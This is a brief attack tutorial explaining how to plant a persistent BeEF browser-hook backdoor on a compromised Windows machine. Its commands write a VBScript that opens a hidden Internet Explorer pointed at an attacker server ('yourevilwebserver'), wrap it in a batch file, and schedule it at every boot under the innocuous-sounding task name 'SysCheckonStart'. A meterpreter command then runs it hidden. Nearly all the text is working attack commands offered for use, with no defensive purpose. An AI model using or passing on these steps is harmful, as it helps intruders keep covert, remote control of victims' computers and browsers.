to make a beef backdoor first do the following, we create a vbscript that will launch a hidden iexplorer pointed to our beef server:
then we create batch script that will call this vbscript
echo CreateObject("Wscript.Shell").Run "iexplore.exe -new http://yourevilwebserver/beef/hook/beefmagic.js.php", 0, False > c:\temp.vbs
the schedule it for every time the target is rebooted:
echo wscript c:\temp.vbs > backdoor.cmd
run the script just to make sure it works in meterpreter :
schtasks /create /tn "SysCheckonStart" /tr c:\ backdoor.cmd /sc onstart
execute -H -f cmd.exe -a "/c c:\ backdoor.cmd"